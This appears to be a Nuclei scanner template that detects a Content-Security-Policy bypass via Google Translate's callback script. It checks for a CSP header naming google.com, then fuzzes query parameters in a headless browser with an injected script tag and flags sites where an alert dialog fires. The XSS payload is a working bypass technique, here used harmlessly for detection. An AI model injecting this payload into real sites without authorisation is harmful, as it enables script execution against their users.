id: google-translate-csp-bypass

info:
  name: Content-Security-Policy Bypass - Google Translate
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,google-translate

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "google.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: google_translate_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://translate.google.com/translate_a/element.js?cb=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "google_translate_csp_xss == true"
# digest: 4a0a00473045022100df45dede42fbb13775476123b1a7cd9fef522e935ac4897dc83f3dda1f9580f0022030fd5b1349ec26ccd2de2ae9b7ca87f081758dd3641c42a8d1ea854ba490e813:922c64590222798bb761d5b6d8e72950